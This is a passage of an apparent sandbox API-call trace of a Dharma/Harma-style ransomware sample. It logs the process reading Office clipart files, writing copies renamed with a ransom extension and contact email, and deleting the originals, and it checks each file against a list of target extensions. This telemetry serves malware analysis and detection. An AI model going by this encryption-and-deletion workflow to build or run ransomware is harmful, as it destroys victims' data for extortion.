lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0166.594] WriteFile (in: hFile=0x218, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.594] SetEndOfFile (hFile=0x218) returned 1 [0166.594] CloseHandle (hObject=0x218) returned 1 [0166.594] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.594] SetEndOfFile (hFile=0x378) returned 1 [0166.596] CloseHandle (hObject=0x378) returned 1 [0166.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.597] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf")) returned 1 [0166.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0166.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0166.597] lstrlenW (lpString=".doc") returned 4 [0166.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.597] lstrlenW (lpString=".docx") returned 5 [0166.597] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0166.598] lstrlenW (lpString=".pdf") returned 4 [0166.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.598] lstrlenW (lpString=".xls") returned 4 [0166.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.598] lstrlenW (lpString=".xlsx") returned 5 [0166.598] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0166.598] lstrlenW (lpString=".ppt") returned 4 [0166.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0166.598] lstrlenW (lpString=".zip") returned 4 [0166.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.598] lstrlenW (lpString=".rar") returned 4 [0166.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.598] lstrlenW (lpString=".bz2") returned 4 [0166.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.598] lstrlenW (lpString=".7z") returned 3 [0166.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0166.598] lstrlenW (lpString=".dbf") returned 4 [0166.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0166.598] lstrlenW (lpString=".1cd") returned 4 [0166.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0166.598] lstrlenW (lpString=".jpg") returned 4 [0166.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0166.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0166.599] lstrlenW (lpString=".doc") returned 4 [0166.599] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.599] lstrlenW (lpString=".docx") returned 5 [0166.599] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0166.599] lstrlenW (lpString=".pdf") returned 4 [0166.599] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.599] lstrlenW (lpString=".xls") returned 4 [0166.599] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.599] lstrlenW (lpString=".xlsx") returned 5 [0166.599] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0166.599] lstrlenW (lpString=".ppt") returned 4 [0166.599] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0166.599] lstrlenW (lpString=".zip") returned 4 [0166.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.599] lstrlenW (lpString=".rar") returned 4 [0166.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.599] lstrlenW (lpString=".bz2") returned 4 [0166.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.599] lstrlenW (lpString=".7z") returned 3 [0166.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0166.599] lstrlenW (lpString=".dbf") returned 4 [0166.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0166.599] lstrlenW (lpString=".1cd") returned 4 [0166.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0166.599] lstrlenW (lpString=".jpg") returned 4 [0166.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.600] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0166.600] lstrlenW (lpString="J0102002.WMF") returned 12 [0166.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0166.600] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=15988) returned 1 [0166.600] CloseHandle (hObject=0x378) returned 1 [0166.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf")) returned 0x20 [0166.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0166.601] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.601] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0166.602] GetLastError () returned 0x0 [0166.602] ReadFile (in: hFile=0x378, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x3e74, lpOverlapped=0x0) returned 1 [0166.604] WriteFile (in: hFile=0x218, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x3e80, lpOverlapped=0x0) returned 1 [0166.605] ReadFile (in: hFile=0x378, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0166.605] WriteFile (in: hFile=0x218, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.605] SetEndOfFile (hFile=0x218) returned 1 [0166.605] CloseHandle (hObject=0x218) returned 1 [0166.605] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.605] SetEndOfFile (hFile=0x378) returned 1 [0166.607] CloseHandle (hObject=0x378) returned 1 [0166.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf")) returned 1 [0166.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0166.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0166.608] lstrlenW (lpString=".doc") returned 4 [0166.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.608] lstrlenW (lpString=".docx") returned 5 [0166.608] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0166.609] lstrlenW (lpString=".pdf") returned 4 [0166.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.609] lstrlenW (lpString=".xls") returned 4 [0166.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.609] lstrlenW (lpString=".xlsx") returned 5 [0166.609] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0166.609] lstrlenW (lpString=".ppt") returned 4 [0166.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0166.609] lstrlenW (lpString=".zip") returned 4 [0166.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.609] lstrlenW (lpString=".rar") returned 4 [0166.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.609] lstrlenW (lpString=".bz2") returned 4 [0166.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.609] lstrlenW (lpString=".7z") returned 3 [0166.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0166.609] lstrlenW (lpString=".dbf") returned 4 [0166.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0166.609] lstrlenW (lpString=".1cd") returned 4 [0166.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0166.609] lstrlenW (lpString=".jpg") returned 4 [0166.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0166.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0166.609] lstrlenW (lpString=".doc") returned 4 [0166.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.610] lstrlenW (lpString=".docx") returned 5 [0166.610] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0166.610] lstrlenW (lpString=".pdf") returned 4 [0166.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.610] lstrlenW (lpString=".xls") returned 4 [0166.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.610] lstrlenW (lpString=".xlsx") returned 5 [0166.610] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0166.610] lstrlenW (lpString=".ppt") returned 4 [0166.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0166.610] lstrlenW (lpString=".zip") returned 4 [0166.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.610] lstrlenW (lpString=".rar") returned 4 [0166.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.610] lstrlenW (lpString=".bz2") returned 4 [0166.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.610] lstrlenW (lpString=".7z") returned 3 [0166.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0166.610] lstrlenW (lpString=".dbf") returned 4 [0166.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0166.610] lstrlenW (lpString=".1cd") returned 4 [0166.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0166.610] lstrlenW (lpString=".jpg") returned 4 [0166.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.611] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0166.611] lstrlenW (lpString="J0102594.WMF") returned 12 [0166.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0167.001] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=27000) returned 1 [0167.001] CloseHandle (hObject=0x370) returned 1 [0167.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf")) returned 0x20 [0167.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0167.045] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.046] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0167.047] GetLastError () returned 0x0 [0167.048] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x6978, lpOverlapped=0x0) returned 1 [0167.088] WriteFile (in: hFile=0x3a4, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x6980, lpOverlapped=0x0) returned 1 [0167.090] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0167.090] WriteFile (in: hFile=0x3a4, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.090] SetEndOfFile (hFile=0x3a4) returned 1 [0167.090] CloseHandle (hObject=0x3a4) returned 1 [0167.090] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.090] SetEndOfFile (hFile=0x364) returned 1 [0167.093] CloseHandle (hObject=0x364) returned 1 [0167.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.094] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf")) returned 1 [0167.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0167.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0167.096] lstrlenW (lpString=".doc") returned 4 [0167.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.096] lstrlenW (lpString=".docx") returned 5 [0167.096] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.096] lstrlenW (lpString=".pdf") returned 4 [0167.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.096] lstrlenW (lpString=".xls") returned 4 [0167.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.096] lstrlenW (lpString=".xlsx") returned 5 [0167.096] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.096] lstrlenW (lpString=".ppt") returned 4 [0167.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0167.096] lstrlenW (lpString=".zip") returned 4 [0167.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.096] lstrlenW (lpString=".rar") returned 4 [0167.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.096] lstrlenW (lpString=".bz2") returned 4 [0167.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.096] lstrlenW (lpString=".7z") returned 3 [0167.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0167.096] lstrlenW (lpString=".dbf") returned 4 [0167.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0167.096] lstrlenW (lpString=".1cd") returned 4 [0167.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0167.096] lstrlenW (lpString=".jpg") returned 4 [0167.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0167.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0167.097] lstrlenW (lpString=".doc") returned 4 [0167.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.097] lstrlenW (lpString=".docx") returned 5 [0167.097] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.097] lstrlenW (lpString=".pdf") returned 4 [0167.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.097] lstrlenW (lpString=".xls") returned 4 [0167.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.097] lstrlenW (lpString=".xlsx") returned 5 [0167.097] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.097] lstrlenW (lpString=".ppt") returned 4 [0167.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0167.097] lstrlenW (lpString=".zip") returned 4 [0167.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.097] lstrlenW (lpString=".rar") returned 4 [0167.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.097] lstrlenW (lpString=".bz2") returned 4 [0167.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.097] lstrlenW (lpString=".7z") returned 3 [0167.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0167.097] lstrlenW (lpString=".dbf") returned 4 [0167.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0167.097] lstrlenW (lpString=".1cd") returned 4 [0167.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0167.097] lstrlenW (lpString=".jpg") returned 4 [0167.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.098] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.098] lstrlenW (lpString="J0105246.WMF") returned 12 [0167.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0167.099] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=19328) returned 1 [0167.099] CloseHandle (hObject=0x364) returned 1 [0167.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf")) returned 0x20 [0167.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0167.099] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.099] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0167.100] GetLastError () returned 0x0 [0167.100] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x4b80, lpOverlapped=0x0) returned 1 [0167.151] WriteFile (in: hFile=0x3a4, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x4b90, lpOverlapped=0x0) returned 1 [0167.152] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0167.152] WriteFile (in: hFile=0x3a4, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.153] SetEndOfFile (hFile=0x3a4) returned 1 [0167.153] CloseHandle (hObject=0x3a4) returned 1 [0167.153] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.153] SetEndOfFile (hFile=0x364) returned 1 [0167.156] CloseHandle (hObject=0x364) returned 1 [0167.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 